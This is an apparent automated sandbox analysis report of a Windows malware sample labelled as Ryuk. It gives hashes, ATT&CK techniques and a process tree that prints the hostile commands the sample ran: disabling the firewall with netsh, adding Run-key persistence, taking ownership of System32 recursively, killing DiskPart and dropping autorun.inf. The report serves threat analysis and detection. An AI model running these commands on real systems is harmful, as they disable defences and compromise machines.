d892f5e68252725f159bca1ad9a20fc7f8243436218d2f0c311d92ee4c200a95

Analysis

max time kernel
6s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/05/2024, 09:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-05-12_eb7971a0d37835bcf1407036f93abf42_ryuk.exe
Size 483KB
Sample240512-lsfessdc59
SHA256 d892f5e68252725f159bca1ad9a20fc7f8243436218d2f0c311d92ee4c200a95
MD5 eb7971a0d37835bcf1407036f93abf42
SHA1 966447385a75bedd8cd7cac698e6cd5d078e1278
SHA512 6897983c35069a033bc60a6bbf17fb4104ec78ca8a3f6b1d84615ae38de1869749091e0e4470e281ad1646b3a7d07228a5cbb88f85e4d6de3a9981f46e89df2e
SSDEEP 12288:IctEagGmcl4gBF1BRnI6hAVebOe1rVWy90ctr9WCJ:pR+cl7X1BRnI6hmebOe1r0yDtr0CJ
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery evasion persistence

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	5260	Process not Found
4	5260	Process not Found
5	5260	Process not Found
6	5260	Process not Found
8	5260	Process not Found

Modifies Windows Firewall 2 TTPs 13 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5864	netsh.exe
6116	netsh.exe
8516	netsh.exe
9748	netsh.exe
7300	netsh.exe
1600	netsh.exe
9208	netsh.exe
10088	netsh.exe
10188	netsh.exe
9400	netsh.exe
6024	netsh.exe
6908	netsh.exe
10216	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	2024-05-12_eb7971a0d37835bcf1407036f93abf42_ryuk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 4 IoCs

pid	Process
4140	Shingapi.exe
220	Shingapi.exe
5032	Shingapi.exe
3692	Shingapi.exe

Modifies file permissions 1 TTPs 13 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3516	takeown.exe
5680	takeown.exe
5760	takeown.exe
5992	takeown.exe
5636	takeown.exe
9768	takeown.exe
9244	takeown.exe
9184	takeown.exe
5360	takeown.exe
5972	takeown.exe
7540	takeown.exe
8700	takeown.exe
9884	takeown.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Twain_20 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Twain_20.cmd"	reg.exe

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 13 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
8704	ipconfig.exe
10312	ipconfig.exe
6908	ipconfig.exe
10160	ipconfig.exe
9724	ipconfig.exe
5264	ipconfig.exe
9848	ipconfig.exe
4936	ipconfig.exe
5248	ipconfig.exe
6028	ipconfig.exe
6044	ipconfig.exe
5248	ipconfig.exe
9196	ipconfig.exe

Kills process with taskkill 13 IoCs

evasion

pid	Process
5724	taskkill.exe
5792	taskkill.exe
8224	taskkill.exe
10252	taskkill.exe
5204	taskkill.exe
10260	taskkill.exe
4004	taskkill.exe
5176	taskkill.exe
9544	taskkill.exe
9556	taskkill.exe
6572	taskkill.exe
8560	taskkill.exe
12196	taskkill.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings	calc.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5040	mspaint.exe
5040	mspaint.exe
4444	mspaint.exe
4444	mspaint.exe
5224	mspaint.exe
5224	mspaint.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3516	takeown.exe
Token: SeDebugPrivilege	4004	taskkill.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
5040	mspaint.exe
4444	mspaint.exe
5224	mspaint.exe
4444	mspaint.exe
4444	mspaint.exe
4444	mspaint.exe
5040	mspaint.exe
5040	mspaint.exe
5040	mspaint.exe
5224	mspaint.exe
5224	mspaint.exe
5224	mspaint.exe
5284	OpenWith.exe
1320	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3860 wrote to memory of 4140	3860	2024-05-12_eb7971a0d37835bcf1407036f93abf42_ryuk.exe	92
PID 3860 wrote to memory of 4140	3860	2024-05-12_eb7971a0d37835bcf1407036f93abf42_ryuk.exe	92
PID 3860 wrote to memory of 4140	3860	2024-05-12_eb7971a0d37835bcf1407036f93abf42_ryuk.exe	92
PID 4140 wrote to memory of 4008	4140	Shingapi.exe	95
PID 4140 wrote to memory of 4008	4140	Shingapi.exe	95
PID 4008 wrote to memory of 2160	4008	cmd.exe	97
PID 4008 wrote to memory of 2160	4008	cmd.exe	97
PID 4008 wrote to memory of 1600	4008	cmd.exe	99
PID 4008 wrote to memory of 1600	4008	cmd.exe	99
PID 2160 wrote to memory of 1800	2160	cmd.exe	100
PID 2160 wrote to memory of 1800	2160	cmd.exe	100
PID 4008 wrote to memory of 3892	4008	cmd.exe	103
PID 4008 wrote to memory of 3892	4008	cmd.exe	103
PID 4008 wrote to memory of 2360	4008	cmd.exe	105
PID 4008 wrote to memory of 2360	4008	cmd.exe	105
PID 4008 wrote to memory of 2016	4008	cmd.exe	106
PID 4008 wrote to memory of 2016	4008	cmd.exe	106
PID 4008 wrote to memory of 744	4008	cmd.exe	108
PID 4008 wrote to memory of 744	4008	cmd.exe	108
PID 4008 wrote to memory of 4592	4008	cmd.exe	143
PID 4008 wrote to memory of 4592	4008	cmd.exe	143
PID 2016 wrote to memory of 3516	2016	cmd.exe	110
PID 2016 wrote to memory of 3516	2016	cmd.exe	110
PID 4008 wrote to memory of 4936	4008	cmd.exe	111
PID 4008 wrote to memory of 4936	4008	cmd.exe	111
PID 4008 wrote to memory of 4004	4008	cmd.exe	112
PID 4008 wrote to memory of 4004	4008	cmd.exe	112
PID 4008 wrote to memory of 4932	4008	cmd.exe	114
PID 4008 wrote to memory of 4932	4008	cmd.exe	114
PID 4008 wrote to memory of 3732	4008	cmd.exe	115
PID 4008 wrote to memory of 3732	4008	cmd.exe	115
PID 4008 wrote to memory of 3084	4008	cmd.exe	116
PID 4008 wrote to memory of 3084	4008	cmd.exe	116
PID 4008 wrote to memory of 4188	4008	cmd.exe	117
PID 4008 wrote to memory of 4188	4008	cmd.exe	117
PID 4008 wrote to memory of 1744	4008	cmd.exe	118
PID 4008 wrote to memory of 1744	4008	cmd.exe	118
PID 4008 wrote to memory of 3548	4008	cmd.exe	119
PID 4008 wrote to memory of 3548	4008	cmd.exe	119
PID 4008 wrote to memory of 676	4008	cmd.exe	120
PID 4008 wrote to memory of 676	4008	cmd.exe	120
PID 4008 wrote to memory of 3056	4008	cmd.exe	121
PID 4008 wrote to memory of 3056	4008	cmd.exe	121
PID 4008 wrote to memory of 764	4008	cmd.exe	122
PID 4008 wrote to memory of 764	4008	cmd.exe	122
PID 4008 wrote to memory of 652	4008	cmd.exe	123
PID 4008 wrote to memory of 652	4008	cmd.exe	123
PID 4008 wrote to memory of 4356	4008	cmd.exe	124
PID 4008 wrote to memory of 4356	4008	cmd.exe	124
PID 4008 wrote to memory of 4564	4008	cmd.exe	125
PID 4008 wrote to memory of 4564	4008	cmd.exe	125
PID 4008 wrote to memory of 2892	4008	cmd.exe	126
PID 4008 wrote to memory of 2892	4008	cmd.exe	126
PID 4008 wrote to memory of 4448	4008	cmd.exe	127
PID 4008 wrote to memory of 4448	4008	cmd.exe	127
PID 4008 wrote to memory of 220	4008	cmd.exe	128
PID 4008 wrote to memory of 220	4008	cmd.exe	128
PID 4008 wrote to memory of 220	4008	cmd.exe	128
PID 4008 wrote to memory of 3504	4008	cmd.exe	129
PID 4008 wrote to memory of 3504	4008	cmd.exe	129
PID 4008 wrote to memory of 2144	4008	cmd.exe	130
PID 4008 wrote to memory of 2144	4008	cmd.exe	130
PID 4008 wrote to memory of 4264	4008	cmd.exe	131
PID 4008 wrote to memory of 4264	4008	cmd.exe	131

Views/modifies file attributes 1 TTPs 13 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
10948	attrib.exe
9784	attrib.exe
8160	attrib.exe
12284	attrib.exe
5480	attrib.exe
5284	attrib.exe
5476	attrib.exe
10560	attrib.exe
10960	attrib.exe
4932	attrib.exe
9804	attrib.exe
5724	attrib.exe
2740	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2024-05-12_eb7971a0d37835bcf1407036f93abf42_ryuk.exe
"C:\Users\Admin\AppData\Local\Temp\2024-05-12_eb7971a0d37835bcf1407036f93abf42_ryuk.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3860
- C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
  "C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4140
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E271.tmp\E272.tmp\E273.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
    3⤵
    - Checks computer location settings
    - Drops autorun.inf file
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Twain_20.cmd
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2160
    - - C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        5⤵
        Adds Run key to start application
        
        PID:1800
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set publicprofile state off
      4⤵
      Modifies Windows Firewall
      PID:1600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Twain_20.cmd
      4⤵
      PID:3892
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
      4⤵
      PID:2360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2016
    - - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        5⤵
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:3516
  - - C:\Windows\system32\reg.exe
      reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
      4⤵
      PID:744
  - - C:\Windows\system32\reg.exe
      reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
      4⤵
      PID:4592
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:4936
  - - C:\Windows\system32\taskkill.exe
      taskkill /im DiskPart /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4004
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Drops autorun.inf file
      Views/modifies file attributes
      PID:4932
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:3732
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:3084
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:4188
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:1744
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:3548
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:676
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:3056
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:764
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
      4⤵
      PID:652
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
      4⤵
      PID:4356
  - - C:\Windows\system32\msg.exe
      msg * Virus Detectado
      4⤵
      PID:4564
  - - C:\Windows\system32\msg.exe
      msg * Virus Detectado
      4⤵
      PID:2892
  - - C:\Windows\system32\msg.exe
      msg * Has Sido Hackeado!
      4⤵
      PID:4448
  - - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
      C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
      4⤵
      Executes dropped EXE
      PID:220
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\EC06.tmp\EC07.tmp\EC08.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        5⤵
        Drops autorun.inf file
        
        PID:4592
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        6⤵
        
        PID:5856
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        6⤵
        Modifies Windows Firewall
        
        PID:5864
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        6⤵
        
        PID:1628
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        6⤵
        
        PID:5808
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        6⤵
        
        PID:5940
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        7⤵
        Modifies file permissions
        
        PID:5680
      - C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        6⤵
        
        PID:5500
      - C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        6⤵
        
        PID:5200
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        6⤵
        Gathers network information
        
        PID:5248
      - C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        6⤵
        Kills process with taskkill
        
        PID:5724
      - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        6⤵
        Views/modifies file attributes
        
        PID:5724
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:7108
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6276
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:7204
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:7432
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:7532
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:7732
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:7872
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:8164
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        6⤵
        
        PID:6748
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        6⤵
        
        PID:6580
      - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        6⤵
        
        PID:7456
      - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        6⤵
        
        PID:7084
      - C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        6⤵
        
        PID:7260
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:7412
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4F73.tmp\4F74.tmp\4F75.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:7276
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:8504
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        9⤵
        
        PID:8396
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:8516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:8472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:8584
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:9184
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9168
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:9192
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:9196
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:9556
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:9804
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:9040
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:10032
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:10192
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:7020
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:7504
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:6724
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:4352
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:10236
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ErrorCritico.vbs"
        8⤵
        
        PID:9020
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:8520
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:10244
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        8⤵
        
        PID:10540
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        8⤵
        
        PID:11004
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:11240
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\887F.tmp\8880.tmp\8881.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:11096
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:9144
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:10248
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:10544
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:11280
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\91B7.tmp\91B8.tmp\91B9.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:11488
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:11300
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:11412
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:11568
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:11704
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        8⤵
        
        PID:11832
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A241.tmp\A242.tmp\A243.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        9⤵
        
        PID:12088
        
        C:\Windows\system32\notepad.exe
        
        notepad
        8⤵
        
        PID:11960
        
        C:\Windows\system32\calc.exe
        
        calc
        8⤵
        
        PID:12068
        
        C:\Windows\explorer.exe
        
        explorer.exe
        8⤵
        
        PID:12224
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        8⤵
        
        PID:1512
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:7376
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:7804
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:7868
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:8096
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:8092
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5B69.tmp\5B6A.tmp\5B6B.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:8764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:9932
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        8⤵
        Modifies Windows Firewall
        
        PID:10188
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        8⤵
        
        PID:9344
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Informacion.vbs"
        8⤵
        
        PID:9548
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        8⤵
        
        PID:6432
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        9⤵
        Modifies file permissions
        
        PID:5972
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:6076
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        8⤵
        
        PID:7960
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        8⤵
        Gathers network information
        
        PID:9848
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        8⤵
        Kills process with taskkill
        
        PID:10252
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        8⤵
        Views/modifies file attributes
        
        PID:10560
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:6716
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:8920
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Advertencia.vbs"
        8⤵
        
        PID:2516
      - C:\Windows\system32\notepad.exe
        
        notepad
        6⤵
        
        PID:7548
      - C:\Windows\system32\calc.exe
        
        calc
        6⤵
        
        PID:5472
      - C:\Windows\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:1620
      - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        6⤵
        
        PID:2112
      - C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        
        C:\Users\Admin\AppData\Local\Temp\Shingapi.exe
        6⤵
        
        PID:3472
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5B89.tmp\5B8A.tmp\5B8B.bat C:\Users\Admin\AppData\Local\Temp\Shingapi.exe"
        7⤵
        
        PID:8780
        
        C:\Windows\system32\cmd.exe
        
